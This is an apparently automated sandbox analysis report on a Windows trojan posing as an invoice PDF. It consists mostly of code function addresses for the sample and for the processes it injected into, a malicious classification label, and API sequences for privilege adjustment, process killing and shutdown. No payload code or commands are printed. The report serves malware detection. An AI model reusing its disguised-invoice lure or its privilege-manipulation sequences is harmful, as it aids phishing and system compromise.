Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00443390	0_2_00443390
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00443391	0_2_00443391
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0041A46B	0_2_0041A46B
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0041240C	0_2_0041240C
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00446566	0_2_00446566
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_004045E0	0_2_004045E0
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0041D750	0_2_0041D750
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_004037E0	0_2_004037E0
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00427859	0_2_00427859
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00412818	0_2_00412818
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0040F890	0_2_0040F890
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0042397B	0_2_0042397B
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00409A40	0_2_00409A40
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00411B63	0_2_00411B63
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0047CBF0	0_2_0047CBF0
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0044EBBC	0_2_0044EBBC
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00412C38	0_2_00412C38
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0044ED9A	0_2_0044ED9A
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00423EBF	0_2_00423EBF
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00424F70	0_2_00424F70
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0041AF0D	0_2_0041AF0D
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_02E55670	0_2_02E55670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418C33	2_2_00418C33
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040283C	2_2_0040283C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042F153	2_2_0042F153
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004011F0	2_2_004011F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403357	2_2_00403357
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403360	2_2_00403360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004014C0	2_2_004014C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00410523	2_2_00410523
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416E7E	2_2_00416E7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040261F	2_2_0040261F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402620	2_2_00402620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416E83	2_2_00416E83
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00410743	2_2_00410743
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E7C3	2_2_0040E7C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004027D0	2_2_004027D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FA352	2_2_037FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_038003E6	2_2_038003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E3F0	2_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C02C0	2_2_037C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C8158	2_2_037C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_038001AA	2_2_038001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DA118	2_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730100	2_2_03730100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F81CC	2_2_037F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F41A2	2_2_037F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03764750	2_2_03764750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373C7C0	2_2_0373C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375C6E0	2_2_0375C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03800591	2_2_03800591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F2446	2_2_037F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E4420	2_2_037E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EE4F6	2_2_037EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FAB40	2_2_037FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F6BD7	2_2_037F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03756962	2_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0380A9A6	2_2_0380A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374A840	2_2_0374A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03742840	2_2_03742840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E8F0	2_2_0376E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037268B8	2_2_037268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B4F40	2_2_037B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03760F30	2_2_03760F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E2F30	2_2_037E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03782F28	2_2_03782F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374CFE0	2_2_0374CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03732FC8	2_2_03732FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BEFA0	2_2_037BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740E59	2_2_03740E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FEE26	2_2_037FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FEEDB	2_2_037FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752E90	2_2_03752E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FCE93	2_2_037FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DCD1F	2_2_037DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374AD00	2_2_0374AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373ADE0	2_2_0373ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03758DBF	2_2_03758DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740C00	2_2_03740C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730CF2	2_2_03730CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0CB5	2_2_037E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372D34C	2_2_0372D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F132D	2_2_037F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0378739A	2_2_0378739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E12ED	2_2_037E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375B2C0	2_2_0375B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037452A0	2_2_037452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372F172	2_2_0372F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0377516C	2_2_0377516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374B1B0	2_2_0374B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0380B16B	2_2_0380B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F70E9	2_2_037F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FF0E0	2_2_037FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EF0CC	2_2_037EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037470C0	2_2_037470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FF7B0	2_2_037FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F16CC	2_2_037F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F7571	2_2_037F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DD5B0	2_2_037DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03731460	2_2_03731460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FF43F	2_2_037FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FFB76	2_2_037FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B5BF0	2_2_037B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0377DBF9	2_2_0377DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375FB80	2_2_0375FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B3A6C	2_2_037B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FFA49	2_2_037FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F7A46	2_2_037F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EDAC6	2_2_037EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DDAAC	2_2_037DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03785AA0	2_2_03785AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E1AA3	2_2_037E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03749950	2_2_03749950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375B950	2_2_0375B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D5910	2_2_037D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AD800	2_2_037AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037438E0	2_2_037438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FFF09	2_2_037FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FFFB1	2_2_037FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03741F92	2_2_03741F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03749EB0	2_2_03749EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F7D73	2_2_037F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F1D5A	2_2_037F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03743D40	2_2_03743D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375FDC0	2_2_0375FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B9C32	2_2_037B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FFCF2	2_2_037FFCF2
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064DD66F	4_2_064DD66F
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064FDFFF	4_2_064FDFFF
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064E448F	4_2_064E448F
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064E5D2F	4_2_064E5D2F
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064E5D2A	4_2_064E5D2A
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064DF5EF	4_2_064DF5EF
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064E7ADF	4_2_064E7ADF
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064DF3CF	4_2_064DF3CF
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FAE4F6	5_2_04FAE4F6
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FB2446	5_2_04FB2446
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FC0591	5_2_04FC0591
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F00535	5_2_04F00535
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F1C6E0	5_2_04F1C6E0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04EFC7C0	5_2_04EFC7C0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F00770	5_2_04F00770
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F24750	5_2_04F24750
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F92000	5_2_04F92000
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FB81CC	5_2_04FB81CC
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FC01AA	5_2_04FC01AA
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F88158	5_2_04F88158
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F9A118	5_2_04F9A118
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04EF0100	5_2_04EF0100
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F802C0	5_2_04F802C0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FA0274	5_2_04FA0274
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F0E3F0	5_2_04F0E3F0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FC03E6	5_2_04FC03E6
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FBA352	5_2_04FBA352
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04EF0CF2	5_2_04EF0CF2
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FA0CB5	5_2_04FA0CB5
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F00C00	5_2_04F00C00
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04EFADE0	5_2_04EFADE0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F18DBF	5_2_04F18DBF
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F9CD1F	5_2_04F9CD1F
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F0AD00	5_2_04F0AD00
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FBEEDB	5_2_04FBEEDB
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F12E90	5_2_04F12E90
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FBCE93	5_2_04FBCE93
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F00E59	5_2_04F00E59
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FBEE26	5_2_04FBEE26
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F0CFE0	5_2_04F0CFE0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04EF2FC8	5_2_04EF2FC8
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F7EFA0	5_2_04F7EFA0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F74F40	5_2_04F74F40
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F20F30	5_2_04F20F30
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F42F28	5_2_04F42F28
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F2E8F0	5_2_04F2E8F0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04EE68B8	5_2_04EE68B8
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F0A840	5_2_04F0A840
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F02840	5_2_04F02840
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F029A0	5_2_04F029A0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FCA9A6	5_2_04FCA9A6
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F16962	5_2_04F16962
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04EFEA80	5_2_04EFEA80
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FB6BD7	5_2_04FB6BD7
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FBAB40	5_2_04FBAB40
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04EF1460	5_2_04EF1460
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FBF43F	5_2_04FBF43F
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F9D5B0	5_2_04F9D5B0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FB7571	5_2_04FB7571
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FB16CC	5_2_04FB16CC
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FBF7B0	5_2_04FBF7B0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FB70E9	5_2_04FB70E9
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FBF0E0	5_2_04FBF0E0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F070C0	5_2_04F070C0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FAF0CC	5_2_04FAF0CC
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F0B1B0	5_2_04F0B1B0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FCB16B	5_2_04FCB16B
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04EEF172	5_2_04EEF172
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F3516C	5_2_04F3516C
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FA12ED	5_2_04FA12ED
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F1B2C0	5_2_04F1B2C0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F052A0	5_2_04F052A0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F4739A	5_2_04F4739A
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04EED34C	5_2_04EED34C
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FB132D	5_2_04FB132D
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FBFCF2	5_2_04FBFCF2
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F79C32	5_2_04F79C32
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F1FDC0	5_2_04F1FDC0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FB7D73	5_2_04FB7D73
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FB1D5A	5_2_04FB1D5A
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F03D40	5_2_04F03D40
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F09EB0	5_2_04F09EB0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FBFFB1	5_2_04FBFFB1
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F01F92	5_2_04F01F92
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FBFF09	5_2_04FBFF09
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F038E0	5_2_04F038E0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F6D800	5_2_04F6D800
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F09950	5_2_04F09950
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F1B950	5_2_04F1B950
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F95910	5_2_04F95910
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FADAC6	5_2_04FADAC6
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F45AA0	5_2_04F45AA0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F9DAAC	5_2_04F9DAAC
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F73A6C	5_2_04F73A6C
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FBFA49	5_2_04FBFA49
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FB7A46	5_2_04FB7A46
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F75BF0	5_2_04F75BF0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F3DBF9	5_2_04F3DBF9
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F1FB80	5_2_04F1FB80
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04FBFB76	5_2_04FBFB76
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_03012000	5_2_03012000
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_0300D160	5_2_0300D160
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_0300B1E0	5_2_0300B1E0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_03015650	5_2_03015650
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_0302BB70	5_2_0302BB70
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_0301389B	5_2_0301389B
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_030138A0	5_2_030138A0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_0300CF40	5_2_0300CF40
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04DBE6CC	5_2_04DBE6CC
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04DBD798	5_2_04DBD798
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04DBE214	5_2_04DBE214
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04DBE333	5_2_04DBE333
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04DBCA44	5_2_04DBCA44

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: String function: 00445975 appears 65 times
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: String function: 0041171A appears 37 times
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: String function: 0041718C appears 45 times
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: String function: 0040E6D0 appears 35 times
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: String function: 04EEB970 appears 275 times
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: String function: 04F7F290 appears 105 times
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: String function: 04F35130 appears 58 times
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: String function: 04F47E54 appears 101 times
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: String function: 04F6EA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03775130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03787E54 appears 102 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0372B970 appears 280 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 037BF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 037AEA12 appears 86 times

Source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe, 00000000.00000003.2039806550.000000000419D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Outstanding Invoices Spreadsheet Scan 00495_PDF.exe
Source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe, 00000000.00000003.2039190730.0000000003FF3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/3@17/11

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_0044AF5C GetLastError,FormatMessageW,

0_2_0044AF5C

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		0_2_00464422
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		0_2_004364AA

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_0045D517

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,

0_2_0043701F

